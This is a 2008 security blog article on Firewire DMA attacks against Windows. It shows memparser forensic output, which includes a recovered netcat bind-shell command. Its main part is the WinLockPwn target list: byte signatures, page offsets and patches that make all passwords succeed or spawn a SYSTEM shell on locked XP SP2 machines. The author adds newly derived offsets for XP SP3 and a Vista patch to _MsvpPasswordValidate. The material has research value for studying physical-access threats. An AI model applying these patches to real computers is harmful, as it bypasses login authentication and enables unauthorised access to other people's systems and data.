What we do is never understood, but only praised and blamed.

Friedrich Nietzsche

Firewire Attacks on Windows - RAW Access to Memory
2008.06.15 Aza

Introduction

The fashion of memory dumping… again! Attract for memory dumping came back with the article of Princeton Researchers: "Lest We Remember: Cold Boot Attacks on Encryption Key" [1]. Their Idea was to recover memory encryption key using hard cooled memory. This article is about Firewire attack, and how uses it to dump memory, or event more: having a direct access (read/write) with the attacked computer powered on.

In the first part, we will explain how Firewire works, and how the Direct Memory Access (which were presented as a feature) will help us to discover information on a computer. In the second part, we will make a demonstration of the concept.

Firewire abuses

pythonRaw1394 tools suite (by Adam Boileau)

1394memimage tool

Dump of physical memory for forensic use.

Forensic uses

Objectives of forensic on memory dump is to recover process, PIDs, Specials information ex : memparser

This is the presentation of memparser : released at DFRWS 2005 by Chris Betz.

C:\>memparser dfrws2005-physical-memory1.dmp

MemParser v1.2 Chris Betz, (c) 2005
No process list loaded.
In Windows 2000 Mode
Options:
z:      Change to Windows 2000 mode
x:      Change to Windows XP mode
c:      Change to Windows 2003 mode
l:      Load the process list
:       Quit

Searching for processes in memory dump
00%--05%--10%--15%--20%--25%--30%--35%--40%--45%--50%--55%--60%--65%-
-70%--75%--80%--85%--90%--95%--100%
Enumerating process structures.
Sorting processes by PID
MemParser v1.2 Chris Betz, (c) 2005
Process List:
 Proc#           PPID           PID             Name:
   0               0               0            Idle
   1               0               8            System
   2               8             156            smss.exe
   3             144             164            winlogon.exe
.
.
.

"Using the reference number in the first column to select a specific process, the examiner can extract information from the memory dump relating to that process. In addition to saving the contents of process memory to a file, strings and other more specific information can be extracted."

34 [return]

1096: nc.exe selected:
1       Dump Process Memory (No System Memory Included) to Disk
2       Dump Process Memory (Including System Memory Space) to Disk
3       Dump Process Strings (No System Memory Included) to Disk
4       Dump Process Strings (Including System Memory Space) to Disk
        (Takes a long time)
5       Display Process Environment Information
6       Display all DLLs loaded by process
:       quit

"The process environment option may include the full path of the executable and command line options:"

5 [return]

Process Environment Information:
        Executable File:  c:\winnt\system32\nc.exe
        Command Line:     "c:\winnt\system32\nc.exe" -L -p 3000 -t -e cmd.exe
        Window Title:     c:\winnt\system32\nc.exe
        Desktop Info:
        Shell Info:
        Runtime Data:
        Dll Path:         c:\winnt\system32;.;C:\WINNT\System32;C:
                          \WINNT\system;C:\WINNT;C:\WINNT\system32;C:
                          \WINNT;C:\WINNT\System32\Wbem

"The display loaded DDLs option provides a list of dynamic link libraries that were associated with the process in question"

1096: nc.exe selected:
1       Dump Process Memory (No System Memory Included) to Disk
2       Dump Process Memory (Including System Memory Space) to Disk
3       Dump Process Strings (No System Memory Included) to Disk
4       Dump Process Strings (Including System Memory Space) to Disk
        (Takes a long time)
5       Display Process Environment Information
6       Display all DLLs loaded by process
:       quit
6
Base Dll Name: nc.exe           Full Name: c:\winnt\system32\nc.exe
Base Dll Name: ntdll.dll        Full Name: C:\WINNT\System32\ntdll.dll
Base Dll Name: KERNEL32.dll     Full Name: C:\WINNT\system32\KERNEL32.dll
Base Dll Name: WSOCK32.dll      Full Name: c:\winnt\system32\WSOCK32.dll
Base Dll Name: WS2_32.DLL       Full Name: c:\winnt\system32\WS2_32.DLL
Base Dll Name: MSVCRT.DLL       Full Name: C:\WINNT\system32\MSVCRT.DLL
Base Dll Name: ADVAPI32.DLL     Full Name: C:\WINNT\system32\ADVAPI32.DLL
Base Dll Name: RPCRT4.DLL       Full Name: C:\WINNT\system32\RPCRT4.DLL
Base Dll Name: WS2HELP.DLL      Full Name: c:\winnt\system32\WS2HELP.DLL
Base Dll Name: rnr20.dll        Full Name: C:\WINNT\System32\rnr20.dll
Base Dll Name: USER32.DLL       Full Name: C:\WINNT\system32\USER32.DLL
.
.
.
.
q

Thank you for using MemParser (c) 2005 Chris Betz.

As you can see, memparser can find a lot of information using a simple dump of memory. A Firewire attack can be performed to dump memory and memparser can be use as an information disclosure tool. Maybe we should have a look on DFRWS 2008 and the presentation of Ruud van Baar : Forensic Memory Analysis: Files mapped in memory. It would be really interesting to be able to recover partial or complete files mapped in memory.

Anti-Forensic technics

Firewire dumping is not easy for different reasons:

Even if this part is really interesting, forensic is not the main object of this paper. I invite the reader to refer to links below.

WinLockPwn?

The Aim of winlockpwn is to allow user to log-in without password. It has been "demoed" at Ruxcon 2006, and released on Risky Business, 2008. We will focus on the msv1_0.dll technique, but all techniques developed in this tool use the same algorithm.

Thanks to Firewire, we have a raw DMA (Read And Write Direct Memory Access). The idea of WinLockPwn? is to find the function used to validate entered password, and patch it in order to consider any password as valid.

targets=[{
      "name":"WinXP SP2 Fast User Switching Unlock",
      "notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to
succeed. You'll still get the password-is-wrong dialog, but then you'll get logged
in anyway.",
      "phase":[{
      "sig":"8BD8F7DB1ADBFEC3",
      "pageoffset":[2905],
      "patch":"bb01000000eb0990",
      "patchoffset":0}]
      },
      {"name":"WinXP SP2 Unlock",
      "notes":"When run against a locked XPSP2 box with regular non-fast-user-switching,
it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged
in anyway.",
      "phase":[{
      "sig":"0502000010",
      "pageoffset":[3696],
      "patch":"b801000000",
      "patchoffset":0}]
      },
      {"name":"WinXP SP2 msv1_0.dll technique",
       "notes":"Patches the call which decides if an account requires password authentication. This
will cause all accounts to no longer require a password, which covers logging in, locking, and probably
network authentication too! This is the best allround XPSP2 technique.",
       "phase":[{
       "sig":"8BFF558BEC83EC50A1",
       "pageoffset":[0x927],
       "patch":"B001",
       "patchoffset":0xa5}]
      },
      {"name":"WinXP SP2 utilman cmd spawn",
       "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util
manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default).
Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a
shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to
get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation
where your shell will be waiting.",
       "phase":[
       {"name":"Patch code",
       "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",
       "pageoffset":[0x39f],
       "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",
       "patchoffset":0x0},
       {"name":"Patch data",
       "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",
       "pageoffset":[0x9ac, 0x5ac, 0x3ac],
       "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",
       "patchoffset":0x0,
       "keepgoing":True,
       }
       ]
      }
      ]

Let's focus on the msv1.o.dll technique:

As the note says it "Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique."

targets=[{

      /* Code was deleted here */


      {"name":"WinXP SP2 msv1_0.dll technique",
       "notes":"Patches the call which decides if an account requires password authentication.
This will cause all accounts to no longer require a password, which covers logging in, locking,
and probably network authentication too! This is the best allround XPSP2 technique.",
       "phase":[{
       "sig":"8BFF558BEC83EC50A1",
       "pageoffset":[0x927],
       "patch":"B001",
       "patchoffset":0xa5}]
      }


      /* Code was deleted here */


   }
   ]

The objective is to find a characteristic signature of the function we want to patch:

"sig":"8BFF558BEC83EC50A1",

In order to accelerate the search of this signature, the algorithm jump pages after pages, looking at a special offset (pageoffset). Low memory addresses (reserved for kernel) are also bypassed (the search begin at 0x8000000L).

_MsvpPasswordValidate is the function which tells if entered password is good or wrong. When the signature is found, the code located at (signature_found_offset + patchoffset) is replaced by the patch.

This is the graph flow of _MsvpPasswordValidate function before being patched. The code we want to patch and the path which leads to it when a wrong password is entered is highlighted.

There is two ways to invalidate password (in blue and orange), but they both converge in a single point (highlighted in red):

Loc_77C499C:
   xor al, al                    // al  == 0
   jmp short loc_774996D         // jmp at the end (pop + leave + ret)

Eax is the register where the function result is moved. In this code, eax takes zero, which means, in this case, the _MsvpPasswordValidate returns zero (false). The idea of the patch is to force _MsvpPasswordValidate to return one (true) in any cases. Then, the patch will replace xor al, al (32 c0) with mov al, $1 (B0 01)

Demonstration: WinLockPwn?

What you need: a Linux box to perform the attack, a Firewire link between the Windows target and the Linux.

The idea is to make the Windows box believe that our Linux laptop is… an Ipod. Then, we have a direct access to the target memory. Next step, we perform the attack:

It takes approximately 10 seconds to perform the attack.

Adding features

Windows XP sp3

Windows XP sp3 is the third and last service pack provided by Microsoft on Windows XP operating system. Unfortunately, the actual version of theWinLockPwn tools doesn’t work with Windows XP sp3.

After analyze of the current SP3 (Microsoft leak before release), it seems that _msvpPasswordValidate is the same after installing the service pack but: the offset’s signature changes.

Signature: same 
Signature offset : replace 927 by 81B
Patch: same
Patch offset: same

Windows VISTA

It was also interesting to have a look on Windows Vista operating system. They made some changes in _msvPasswordValidate function. Fisrt of all, the signature doesn’t match any opcodes, so we had to make search “from scratch”. This is our result.

Here we have the windows vista msvPasswordValidate function’s graph flow analysis made by IDA. The function seemed to be obfuscated, but after little static analysis, we have been able to understand how the function works, and how to circumvent it.

.text:6C98B802 loc_6C98B802:                           ; CODE XREF: 
.text:6C98B802                                         ;
.text:6C98B802                 push    10h             ; Length
.text:6C98B804                 add     ebx, 34h
.text:6C98B807                 push    ebx             ; Source2
.text:6C98B808                 push    esi             ; Source1
.text:6C98B809                 call    ds:__imp__RtlCompareMemory@12 ; RtlCompareMemory(x,x,x)
.text:6C98B80F                 cmp     eax, 10h
.text:6C98B812                 jnz     short loc_6C98B827
.text:6C98B814
.text:6C98B814 loc_6C98B814:                           ; CODE XREF: 
.text:6C98B814                                         ; 
.text:6C98B814                 mov     al, 1
.text:6C98B816
.text:6C98B816 loc_6C98B816:                           ; CODE XREF:
.text:6C98B816                                         ; 
.text:6C98B816                 mov     ecx, [ebp+var_4]
.text:6C98B819                 pop     edi
.text:6C98B81A                 pop     esi
.text:6C98B81B                 xor     ecx, ebp
.text:6C98B81D                 pop     ebx
.text:6C98B81E                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:6C98B823                 leave
.text:6C98B824                 retn    1Ch
.text:6C98B827 ; ---------------------------------------------------------------------------
.text:6C98B827
.text:6C98B827 loc_6C98B827:                           ; CODE XREF: 
.text:6C98B827                                         ; 
.text:6C98B827                 xor     al, al           <- HERE! mov al, 1
.text:6C98B829                 jmp     short loc_6C98B816
.text:6C98B829 _MsvpPasswordValidate@28 endp

signature :
8B FF 55 8B EC 81 EC 88 00 00 00 A1 A4
Offset : 76A

patch_offset :  0xBD
patch : B0 01  // mov ax, 1 instead of xor al, al

We were not able to test our patch using Firewire because WinLockPwn? tool and raw1394 library seemed to have difficulties “speaking” with Vista operating system. But we demoed our concept using a hard patched msv1_0.dll that allowed us to log in Windows VISTA without any password.

Conclusion

We demonstrated how Firewire attacks can be disastrous for a system. 1394 technology was originally designed to improve computer user experience, but what was described has a feature is, in fact, a really dangerous security hole for computers having a Firewire interface enabled (or a PCMCIA, cardbus, expresscard…. giving Firewire extension interfaces). This attack is really interesting, and confirms the fact that physical access means ‘game-over’.

Other possibilities / way of research:

References

[1] J. Alex Halderman, Seth D. Schoen, Nadia Heninger, William Clarkson, William Paul, Joseph A. Calandrino, Ariel J. Feldman, Jacob Appelbaum, and Edward W. Felten : Cold Boot Attack: http://citp.princeton.edu/memory/

[2] Peter Panholzer: Vista Physical Attacks: http://www.sec-consult.com/fileadmin/Whitepapers/Vista_Physical_Attacks.pdf

[3] Adam Boileau : Firewire attacks (RuxCon? 2006): http://www.ruxcon.org.au/files/2006/firewire_attacks.pdf

[4] PythonRaw1394? tools suite project page: http://storm.net.nz/projects/16

[5] Rutkowska.J: Beyond The CPU: Defeating Hardware Based RAM Acquisition (BlackHat? 2007): http://www.first.org/conference/2007/papers/rutkowska-joanna-slides.pdf

[6] Brian D. Carrier, Joe Grand: A Hardware-Based Memory Acquisition Procedure for Digital Investigations: http://www.digital-evidence.org/papers/tribble-preprint.pdf

[7] Laboratory for Dependable Distributed Systems at RWTH-Aachen University (CanSecWest? 2005): http://cansecwest.com/core05/2005-firewire-cansecwest.pdf

[8] Chris Betz : DFRWS 2005 Forensics Challenge : Memparser Analysis Tool: http://www.dfrws.org/2005/challenge/memparser.shtml, http://sourceforge.net/projects/memparser

[9] Nicolas Ruff: Autopsie d’une intrusion « tout en mémoire » sous Windows: http://actes.sstic.org/SSTIC07/Forensics_Memoire_Windows/SSTIC07-article-Ruff-Forensics_Memoire_Windows.pdf

[10] DMA explanations: http://www.eventhelix.com/RealtimeMantra/FaultHandling/dma_interrupt_handling.htm

tags[ reverse-engineering | windows | ida | firewire ]

edit attach - delete